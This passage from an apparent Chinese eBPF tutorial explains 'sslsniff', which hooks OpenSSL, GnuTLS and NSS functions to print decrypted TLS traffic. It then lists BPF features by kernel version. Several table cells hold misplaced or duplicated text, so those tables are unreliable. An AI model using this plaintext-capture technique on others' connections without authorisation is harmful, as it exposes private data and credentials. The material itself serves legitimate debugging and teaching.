return 0;
struct probe_SSL_data_t *data = bpf_map_lookup_elem(&amp;ssl_data, &amp;zero);
if (!data)
return 0;
data-&gt;timestamp_ns = ts;
data-&gt;delta_ns = ts - *tsp;
data-&gt;pid = pid;
data-&gt;tid = tid;
data-&gt;uid = uid;
data-&gt;len = ret;
data-&gt;buf_filled = 0;
data-&gt;rw = 2;
data-&gt;is_handshake = true;
bpf_get_current_comm(&amp;data-&gt;comm, sizeof(data-&gt;comm));
bpf_map_delete_elem(&amp;start_ns, &amp;tid);
bpf_perf_event_output(ctx, &amp;perf_SSL_events, BPF_F_CURRENT_CPU, data,
EVENT_SIZE(0));
return 0;
}
</code></pre>
<p>此函数的逻辑如下:</p>
<ol>
<li>获取当前的 <code>pid</code>, <code>tid</code>, <code>ts</code><code>uid</code></li>
<li>使用 <code>trace_allowed</code> 再次检查是否允许追踪。</li>
<li>查找 <code>start_ns</code> 映射中的时间戳,用于计算握手的持续时间。</li>
<li>使用 <code>PT_REGS_RC(ctx)</code> 获取 <code>do_handshake</code> 的返回值,判断握手是否成功。</li>
<li>查找或初始化与当前线程关联的 <code>probe_SSL_data_t</code> 数据结构。</li>
<li>更新数据结构的字段,包括时间戳、持续时间、进程信息等。</li>
<li>通过 <code>bpf_perf_event_output</code> 将数据发送到用户态。</li>
</ol>
<p>我们的 eBPF 代码不仅跟踪了 <code>ssl_read</code><code>ssl_write</code> 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。</p>
<p>通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。</p>
<h2 id="用户态辅助代码分析与解读-1"><a class="header" href="#用户态辅助代码分析与解读-1">用户态辅助代码分析与解读</a></h2>
<p>在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。</p>
<h3 id="1-支持的库挂载-1"><a class="header" href="#1-支持的库挂载-1">1. 支持的库挂载</a></h3>
<p>上述代码片段中,根据环境变量 <code>env</code> 的设定程序可以选择针对三种常见的加密库OpenSSL、GnuTLS 和 NSS进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。</p>
<p>为了实现这一功能,首先利用 <code>find_library_path</code> 函数确定库的路径。然后,根据库的类型,调用对应的 <code>attach_</code> 函数来将 eBPF 程序挂载到库函数上。</p>
<pre><code class="language-c"> if (env.openssl) {
char *openssl_path = find_library_path(&quot;libssl.so&quot;);
printf(&quot;OpenSSL path: %s\n&quot;, openssl_path);
attach_openssl(obj, &quot;/lib/x86_64-linux-gnu/libssl.so.3&quot;);
}
if (env.gnutls) {
char *gnutls_path = find_library_path(&quot;libgnutls.so&quot;);
printf(&quot;GnuTLS path: %s\n&quot;, gnutls_path);
attach_gnutls(obj, gnutls_path);
}
if (env.nss) {
char *nss_path = find_library_path(&quot;libnspr4.so&quot;);
printf(&quot;NSS path: %s\n&quot;, nss_path);
attach_nss(obj, nss_path);
}
</code></pre>
<p>这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。</p>
<h3 id="2-详细挂载逻辑-1"><a class="header" href="#2-详细挂载逻辑-1">2. 详细挂载逻辑</a></h3>
<p>具体的 attach 函数如下:</p>
<pre><code class="language-c">#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \
do { \
LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \
.retprobe = is_retprobe); \
skel-&gt;links.prog_name = bpf_program__attach_uprobe_opts( \
skel-&gt;progs.prog_name, env.pid, binary_path, 0, &amp;uprobe_opts); \
} while (false)
int attach_openssl(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit);
if (env.latency &amp;&amp; env.handshake) {
ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake,
probe_SSL_do_handshake_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake,
probe_SSL_do_handshake_exit);
}
return 0;
}
int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit);
return 0;
}
int attach_nss(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit);
return 0;
}
</code></pre>
<p>我们进一步观察 <code>attach_</code> 函数,可以看到它们都使用了 <code>ATTACH_UPROBE_CHECKED</code><code>ATTACH_URETPROBE_CHECKED</code> 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe函数入口和 uretprobe函数返回</p>
<p>考虑到不同的库有不同的 API 函数名称例如OpenSSL 使用 <code>SSL_write</code>,而 GnuTLS 使用 <code>gnutls_record_send</code>),所以我们需要为每个库写一个独立的 <code>attach_</code> 函数。</p>
<p>例如,在 <code>attach_openssl</code> 函数中,我们为 <code>SSL_write</code><code>SSL_read</code> 设置了 probe。如果用户还希望追踪握手的延迟 (<code>env.latency</code>) 和握手过程 (<code>env.handshake</code>),那么我们还会为 <code>SSL_do_handshake</code> 设置 probe。</p>
<p>在eBPF生态系统中perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的因为它们不能直接与用户态进行交互。使用perf_buffer我们可以在内核态eBPF程序中收集数据然后在用户态异步地读取这些数据。我们使用 <code>perf_buffer__poll</code> 函数来读取内核态上报的数据,如下所示:</p>
<pre><code class="language-c"> while (!exiting) {
err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
if (err &lt; 0 &amp;&amp; err != -EINTR) {
warn(&quot;error polling perf buffer: %s\n&quot;, strerror(-err));
goto cleanup;
}
err = 0;
}
</code></pre>
<p>最后,在 print_event 函数中,我们将数据打印到标准输出:</p>
<pre><code class="language-c">// Function to print the event from the perf buffer
void print_event(struct probe_SSL_data_t *event, const char *evt) {
...
if (buf_size != 0) {
if (env.hexdump) {
// 2 characters for each byte + null terminator
char hex_data[MAX_BUF_SIZE * 2 + 1] = {0};
buf_to_hex((uint8_t *)buf, buf_size, hex_data);
printf(&quot;\n%s\n&quot;, s_mark);
for (size_t i = 0; i &lt; strlen(hex_data); i += 32) {
printf(&quot;%.32s\n&quot;, hex_data + i);
}
printf(&quot;%s\n\n&quot;, e_mark);
} else {
printf(&quot;\n%s\n%s\n%s\n\n&quot;, s_mark, buf, e_mark);
}
}
}
</code></pre>
<p>完整的源代码可以在这里查看:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff</a></p>
<h2 id="编译与运行-1"><a class="header" href="#编译与运行-1">编译与运行</a></h2>
<p>要开始使用 <code>sslsniff</code>,首先要进行编译:</p>
<pre><code class="language-sh">make
</code></pre>
<p>完成后,请按照以下步骤操作:</p>
<h3 id="启动-sslsniff-1"><a class="header" href="#启动-sslsniff-1"><strong>启动 sslsniff</strong></a></h3>
<p>在一个终端中,执行以下命令来启动 <code>sslsniff</code></p>
<pre><code class="language-sh">sudo ./sslsniff
</code></pre>
<h3 id="执行-curl-命令-1"><a class="header" href="#执行-curl-命令-1"><strong>执行 CURL 命令</strong></a></h3>
<p>在另一个终端中,执行:</p>
<pre><code class="language-console">curl https://example.com
</code></pre>
<p>正常情况下,你会看到类似以下的输出:</p>
<pre><code class="language-html"> &lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Example Domain&lt;/title&gt;
...
&lt;body&gt;
&lt;div&gt;
...
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<h3 id="sslsniff-输出-1"><a class="header" href="#sslsniff-输出-1"><strong>sslsniff 输出</strong></a></h3>
<p>当执行 <code>curl</code> 命令后,<code>sslsniff</code> 会显示以下内容:</p>
<pre><code class="language-txt"> READ/RECV 0.132786160 curl 47458 1256
----- DATA -----
&lt;!doctype html&gt;
...
&lt;div&gt;
&lt;h1&gt;Example Domain&lt;/h1&gt;
...
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
----- END DATA -----
</code></pre>
<p><strong>注意</strong>:显示的 HTML 内容可能会因 <code>example.com</code> 页面的不同而有所不同。</p>
<h3 id="显示延迟和握手过程-1"><a class="header" href="#显示延迟和握手过程-1">显示延迟和握手过程</a></h3>
<p>要查看延迟和握手过程,请执行以下命令:</p>
<pre><code class="language-console">$ sudo ./sslsniff -l --handshake
OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3
GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30
NSS path: /lib/x86_64-linux-gnu/libnspr4.so
FUNC TIME(s) COMM PID LEN LAT(ms)
HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014
</code></pre>
<h3 id="16进制输出-1"><a class="header" href="#16进制输出-1">16进制输出</a></h3>
<p>要以16进制格式显示数据请执行以下命令</p>
<pre><code class="language-console">$ sudo ./sslsniff --hexdump
WRITE/SEND 0.000000000 curl 16104 24
----- DATA -----
505249202a20485454502f322e300d0a
0d0a534d0d0a0d0a
----- END DATA -----
...
</code></pre>
<h2 id="总结-22"><a class="header" href="#总结-22">总结</a></h2>
<p>eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 和教程网站 <a href="https://eunomia.dev/zh/tutorials/%E3%80%82">https://eunomia.dev/zh/tutorials/。</a></p>
<p>参考资料:</p>
<ul>
<li><a href="https://github.com/iovisor/bcc/pull/4706">https://github.com/iovisor/bcc/pull/4706</a></li>
<li><a href="https://github.com/openssl/openssl">https://github.com/openssl/openssl</a></li>
<li><a href="https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html">https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html</a></li>
<li><a href="https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt">https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt</a></li>
<li><a href="https://en.wikipedia.org/wiki/Transport_Layer_Security">https://en.wikipedia.org/wiki/Transport_Layer_Security</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="linux-内核版本的-bpf-功能"><a class="header" href="#linux-内核版本的-bpf-功能">Linux 内核版本的 BPF 功能</a></h1>
<h2 id="ebpf支持"><a class="header" href="#ebpf支持">eBPF支持</a></h2>
<div class="table-wrapper"><table><thead><tr><th>内核版本</th><th>提交</th></tr></thead><tbody>
<tr><td>3.15</td><td><a href="https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8"><code>bd4cf0ed331a</code></a></td></tr>
</tbody></table>
</div>
<h2 id="jit编译"><a class="header" href="#jit编译">JIT编译</a></h2>
<p>可以使用以下命令获取内核支持的体系结构列表:</p>
<pre><code class="language-sh">git grep HAVE_EBPF_JIT arch/
</code></pre>
<div class="table-wrapper"><table><thead><tr><th>功能 / 体系结构</th><th>内核版本</th><th>提交</th></tr></thead><tbody>
<tr><td>x86_64</td><td>3.16</td><td><a href="https://github.com/torvalds/linux/commit/622582786c9e041d0bd52bde201787adeab249f8"><code>622582786c9e</code></a></td></tr>
<tr><td>ARM64</td><td>3.18</td><td><a href="https://github.com/torvalds/linux/commit/e54bcde3d69d40023ae77727213d14f920eb264a"><code>e54bcde3d69d</code></a></td></tr>
<tr><td>s390</td><td>4.1</td><td><a href="https://github.com/torvalds/linux/commit/054623105728b06852f077299e2bf1bf3d5f2b0b"><code>054623105728</code></a></td></tr>
<tr><td>JIT机器的常量混淆</td><td>4.7</td><td><a href="https://github.com/torvalds/linux/commit/4f3446bb809f20ad56cadf712e6006815ae7a8f9"><code>4f3446bb809f</code></a></td></tr>
<tr><td>PowerPC64</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/156d0e290e969caba25f1851c52417c14d141b24"><code>156d0e290e96</code></a></td></tr>
<tr><td>常量混淆 - PowerPC64</td><td>4.9</td><td><a href="https://github.com/torvalds/linux/commit/b7b7013cac55d794940bd9cb7b7c55c9dececac4"><code>b7b7013cac55</code></a></td></tr>
<tr><td>Sparc64</td><td>4.12</td><td><a href="https://github.com/torvalds/linux/commit/7a12b5031c6b947cc13918237ae652b536243b76"><code>7a12b5031c6b</code></a></td></tr>
<tr><td>MIPS</td><td>4.13</td><td><a href="https://github.com/torvalds/linux/commit/f381bf6d82f032b7410185b35d000ea370ac706b"><code>f381bf6d82f0</code></a></td></tr>
<tr><td>ARM32</td><td>4.14</td><td><a href="https://github.com/torvalds/linux/commit/39c13c204bb1150d401e27d41a9d8b332be47c49"><code>39c13c204bb1</code></a></td></tr>
<tr><td>x86_32</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/03f5781be2c7b7e728d724ac70ba10799cc710d7"><code>03f5781be2c7</code></a></td></tr>
<tr><td>RISC-V RV64G</td><td>5.1</td><td><a href="https://github.com/torvalds/linux/commit/2353ecc6f91fd15b893fa01bf85a1c7a823ee4f2"><code>2353ecc6f91f</code></a>RISC-V RV32G</td></tr>
<tr><td>PowerPC32</td><td>5.13</td><td><a href="https://github.com/torvalds/linux/commit/51c66ad849a703d9bbfd7704c941827aed0fd9fd"><code>51c66ad849a7</code></a></td></tr>
<tr><td>LoongArch</td><td>6.1</td><td><a href="https://github.com/torvalds/linux/commit/5dc615520c4dfb358245680f1904bad61116648e"><code>5dc615520c4d</code></a></td></tr>
</tbody></table>
</div>
<h2 id="主要特性"><a class="header" href="#主要特性">主要特性</a></h2>
<p>其中几个(但不是全部)<em>主要特性</em> 可以转换为 eBPF 程序类型。
您的内核支持的此类程序类型的列表可以在文件 <a href="https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h"><code>include/uapi/linux/bpf.h</code></a> 中找到:</p>
<pre><code class="language-sh">git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h
</code></pre>
<div class="table-wrapper"><table><thead><tr><th>特性</th><th>内核版本</th><th>提交</th></tr></thead><tbody>
<tr><td><code>AF_PACKET</code> (libpcap/tcpdump, <code>cls_bpf</code> 分类器, netfilter 的 <code>xt_bpf</code>, team 驱动程序的负载均衡模式…)</td><td>3.15</td><td><a href="https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8"><code>bd4cf0ed331a</code></a></td></tr>
<tr><td>内核助手</td><td>3.15</td><td><a href="https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8"><code>bd4cf0ed331a</code></a></td></tr>
<tr><td><code>bpf()</code> 系统调用</td><td>3.18</td><td><a href="https://github.com/torvalds/linux/commit/99c55f7d47c0dc6fc64729f37bf435abf43f4c60"><code>99c55f7d47c0</code></a></td></tr>
<tr><td>Maps (<em>又名</em> 表; 详见下文)</td><td>3.18</td><td><a href="https://github.com/torvalds/linux/commit/99c55f7d47c0dc6fc64729f37bf435abf43f4c60"><code>99c55f7d47c0</code></a></td></tr>
<tr><td>BPF 附加到套接字</td><td>3.19</td><td><a href="https://github.com/torvalds/linux/commit/89aa075832b0da4402acebd698d0411dcc82d03e"><code>89aa075832b0</code></a></td></tr>
<tr><td>BPF 附加到 <code>kprobes</code></td><td>4.1</td><td><a href="https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5"><code>2541517c32be</code></a></td></tr>
<tr><td><code>cls_bpf</code> / <code>act_bpf</code> 用于 <code>tc</code></td><td>4.1</td><td><a href="https://github.com/torvalds/linux/commit/e2e9b6541dd4b31848079da80fe2253daaafb549"><code>e2e9b6541dd4</code></a></td></tr>
<tr><td>尾调用</td><td>4.2</td><td><a href="https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb"><code>04fd61ab36ec</code></a>非根程序上的套接字</td></tr>
<tr><td>持久映射和程序(虚拟文件系统)</td><td>4.4</td><td><a href="https://github.com/torvalds/linux/commit/b2197755b2633e164a439682fb05a9b5ea48f706"><code>b2197755b263</code></a></td></tr>
<tr><td><code>tc</code><code>direct-action</code>(<code>da</code>)模式</td><td>4.4</td><td><a href="https://github.com/torvalds/linux/commit/045efa82ff563cd4e656ca1c2e354fa5bf6bbda4"><code>045efa82ff56</code></a></td></tr>
<tr><td><code>tc</code><code>clsact</code>qdisc</td><td>4.5</td><td><a href="https://github.com/torvalds/linux/commit/1f211a1b929c804100e138c5d3d656992cfd5622"><code>1f211a1b929c</code></a></td></tr>
<tr><td>BPF连接到跟踪点</td><td>4.7</td><td><a href="https://github.com/torvalds/linux/commit/98b5c2c65c2951772a8fc661f50d675e450e8bce"><code>98b5c2c65c29</code></a></td></tr>
<tr><td>直接数据包访问</td><td>4.7</td><td><a href="https://github.com/torvalds/linux/commit/969bf05eb3cedd5a8d4b7c346a85c2ede87a6d6d"><code>969bf05eb3ce</code></a></td></tr>
<tr><td>XDP参见下文</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95"><code>6a773a15a1e8</code></a></td></tr>
<tr><td>BPF连接到性能事件</td><td>4.9</td><td><a href="https://github.com/torvalds/linux/commit/0515e5999a466dfe6e1924f460da599bb6821487"><code>0515e5999a46</code></a></td></tr>
<tr><td><code>tc</code><code>cls_bpf</code>的硬件卸载</td><td>4.9</td><td><a href="https://github.com/torvalds/linux/commit/332ae8e2f6ecda5e50c5c62ed62894963e3a83f5"><code>332ae8e2f6ec</code></a></td></tr>
<tr><td>验证器暴露和内部钩子</td><td>4.9</td><td><a href="https://github.com/torvalds/linux/commit/13a27dfc669724564aafa2699976ee756029fed2"><code>13a27dfc6697</code></a></td></tr>
<tr><td>BPF连接到 cgroups 用于套接字过滤</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/0e33661de493db325435d565a4a722120ae4cbf3"><code>0e33661de493</code></a></td></tr>
<tr><td>轻量级隧道封装</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a></td></tr>
<tr><td><strong>e</strong>BPF对<code>xt_bpf</code>模块iptables的支持</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/2c16d60332643e90d4fa244f4a706c454b8c7569"><code>2c16d6033264</code></a></td></tr>
<tr><td>BPF程序标签</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/7bd509e311f408f7a5132fcdde2069af65fa05ae"><code>7bd509e311f4</code></a>跟踪点以调试BPF</td></tr>
<tr><td>测试/基准测试BPF程序</td><td>4.12</td><td><a href="https://github.com/torvalds/linux/commit/1cf1cae963c2e6032aebe1637e995bc2f5d330f4"><code>1cf1cae963c2</code></a></td></tr>
<tr><td>BPF程序和映射ID</td><td>4.13</td><td><a href="https://github.com/torvalds/linux/commit/dc4bb0e2356149aee4cdae061936f3bbdd45595c"><code>dc4bb0e23561</code></a></td></tr>
<tr><td>BPF对<code>sock_ops</code>的支持</td><td>4.13</td><td><a href="https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0"><code>40304b2a1567</code></a></td></tr>
<tr><td>BPF对套接字上的skb的支持</td><td>4.14</td><td><a href="https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79"><code>b005fd189cec</code></a></td></tr>
<tr><td>内核源码中的bpftool实用程序</td><td>4.15</td><td><a href="https://github.com/torvalds/linux/commit/71bb428fe2c19512ac671d5ee16ef3e73e1b49a8"><code>71bb428fe2c1</code></a></td></tr>
<tr><td>BPF附加到cgroups作为设备控制器</td><td>4.15</td><td><a href="https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92"><code>ebc614f68736</code></a></td></tr>
<tr><td>bpf2bpf函数调用</td><td>4.16</td><td><a href="https://github.com/torvalds/linux/commit/cc8b0b92a1699bc32f7fec71daa2bfc90de43a4d"><code>cc8b0b92a169</code></a></td></tr>
<tr><td>BPF用于监视套接字RX/TX数据</td><td>4.17</td><td><a href="https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0"><code>4f738adba30a</code></a></td></tr>
<tr><td>BPF附加到原始跟踪点</td><td>4.17</td><td><a href="https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9"><code>c4f6699dfcb8</code></a></td></tr>
<tr><td>BPF附加到<code>bind()</code>系统调用</td><td>4.17</td><td><a href="https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427"><code>4fbac77d2d09</code></a> <a href="https://github.com/torvalds/linux/commit/aac3fc320d9404f2665a8b1249dc3170d5fa3caf"><code>aac3fc320d94</code></a></td></tr>
<tr><td>BPF附加到<code>connect()</code>系统调用</td><td>4.17</td><td><a href="https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5"><code>d74bad4e74ee</code></a>BPF 类型格式BTF</td></tr>
<tr><td>AF_XDP</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/fbfc504a24f53f7ebe128ab55cb5dba634f4ece8"><code>fbfc504a24f5</code></a></td></tr>
<tr><td>bpfilter</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/d2ba09c17a0647f899d6c20a11bab9e6d3382f07"><code>d2ba09c17a06</code></a></td></tr>
<tr><td>seg6local LWT 的 End.BPF 操作</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44"><code>004d4b274e2a</code></a></td></tr>
<tr><td>BPF 附加到 LIRC 设备</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936"><code>f4364dcfc86d</code></a></td></tr>
<tr><td>将映射值传递给映射助手</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/d71962f3e627b5941804036755c844fabfb65ff5"><code>d71962f3e627</code></a></td></tr>
<tr><td>BPF 套接字复用端口</td><td>4.19</td><td><a href="https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf"><code>2dbb9b9e6df6</code></a></td></tr>
<tr><td>BPF 流解剖器</td><td>4.20</td><td><a href="https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9"><code>d58e468b1112</code></a></td></tr>
<tr><td>BPF 1M 指令限制</td><td>5.2</td><td><a href="https://github.com/torvalds/linux/commit/c04c0d2b968ac45d6ef020316808ef6c82325a82"><code>c04c0d2b968a</code></a></td></tr>
<tr><td>BPF 控制组 sysctl</td><td>5.2</td><td><a href="https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637"><code>7b146cebe30c</code></a></td></tr>
<tr><td>BPF 原始跟踪点可写</td><td>5.2</td><td><a href="https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0"><code>9df1c28bb752</code></a></td></tr>
<tr><td>BPF 有界循环</td><td>5.3</td><td><a href="https://github.com/torvalds/linux/commit/2589726d12a1b12eaaa93c7f1ea64287e383c7a5"><code>2589726d12a1</code></a></td></tr>
<tr><td>BPF 跳板</td><td>5.5</td><td><a href="https://github.com/torvalds/linux/commit/fec56f5890d93fc2ed74166c397dc186b1c25951"><code>fec56f5890d9</code></a></td></tr>
<tr><td>BPF LSM 钩子</td><td>5.7</td><td><a href="https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58"><code>fc611f47f218</code></a> <a href="https://github.com/torvalds/linux/commit/641cd7b06c911c5935c34f24850ea18690649917"><code>641cd7b06c91</code></a></td></tr>
<tr><td>BPF 迭代器</td><td>5.8</td><td><a href="https://github.com/torvalds/linux/commit/180139dca8b38c858027b8360ee10064fdb2fbf7"><code>180139dca8b3</code></a>BPF套接字查找挂钩</td></tr>
<tr><td>可睡眠的BPF程序</td><td>5.10</td><td><a href="https://github.com/torvalds/linux/commit/1e6c62a8821557720a9b2ea9617359b264f2f67c"><code>1e6c62a88215</code></a></td></tr>
</tbody></table>
</div>
<h3 id="程序类型"><a class="header" href="#程序类型">程序类型</a></h3>
<div class="table-wrapper"><table><thead><tr><th>程序类型</th><th>内核版本</th><th>提交</th><th>枚举</th></tr></thead><tbody>
<tr><td>套接字过滤器</td><td>3.19</td><td><a href="https://github.com/torvalds/linux/commit/ddd872bc3098f9d9abe1680a6b2013e59e3337f7"><code>ddd872bc3098</code></a></td><td>BPF_PROG_TYPE_SOCKET_FILTER</td></tr>
<tr><td>Kprobe</td><td>4.1</td><td><a href="https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5"><code>2541517c32be</code></a></td><td>BPF_PROG_TYPE_KPROBE</td></tr>
<tr><td>流量控制(TC)</td><td>4.1</td><td><a href="https://github.com/torvalds/linux/commit/96be4325f443dbbfeb37d2a157675ac0736531a1"><code>96be4325f443</code></a></td><td>BPF_PROG_TYPE_SCHED_CLS</td></tr>
<tr><td>流量控制(TC)</td><td>4.1</td><td><a href="https://github.com/torvalds/linux/commit/94caee8c312d96522bcdae88791aaa9ebcd5f22c"><code>94caee8c312d</code></a></td><td>BPF_PROG_TYPE_SCHED_ACT</td></tr>
<tr><td>跟踪点</td><td>4.7</td><td><a href="https://github.com/torvalds/linux/commit/98b5c2c65c2951772a8fc661f50d675e450e8bce"><code>98b5c2c65c29</code></a></td><td>BPF_PROG_TYPE_TRACEPOINT</td></tr>
<tr><td>XDP</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95"><code>6a773a15a1e8</code></a></td><td>BPF_PROG_TYPE_XDP</td></tr>
<tr><td>性能事件</td><td>4.9</td><td><a href="https://github.com/torvalds/linux/commit/0515e5999a466dfe6e1924f460da599bb6821487"><code>0515e5999a46</code></a></td><td>BPF_PROG_TYPE_PERF_EVENT</td></tr>
<tr><td>cgroup套接字过滤</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/0e33661de493db325435d565a4a722120ae4cbf3"><code>0e33661de493</code></a></td><td>BPF_PROG_TYPE_CGROUP_SKB</td></tr>
<tr><td>cgroup套接字修改</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/61023658760032e97869b07d54be9681d2529e77"><code>610236587600</code></a></td><td>BPF_PROG_TYPE_CGROUP_SOCK</td></tr>
<tr><td>轻量级隧道(IN)</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a></td><td>BPF_PROG_TYPE_LWT_IN&quot;.lightweight tunnel (OUT)</td></tr>
<tr><td>轻量级隧道 (OUT)</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a></td><td>BPF_PROG_TYPE_LWT_OUT</td></tr>
</tbody></table>
</div>
<p>lightweight tunnel (XMIT) | 4.10 | <a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a> | BPF_PROG_TYPE_LWT_XMIT
轻量级隧道 (XMIT) | 4.10 | <a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a> | BPF_PROG_TYPE_LWT_XMIT</p>
<p>cgroup sock ops (per conn) | 4.13 | <a href="https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0"><code>40304b2a1567</code></a> | BPF_PROG_TYPE_SOCK_OPS
cgroup sock操作 (每个连接) | 4.13 | <a href="https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0"><code>40304b2a1567</code></a> | BPF_PROG_TYPE_SOCK_OPS</p>
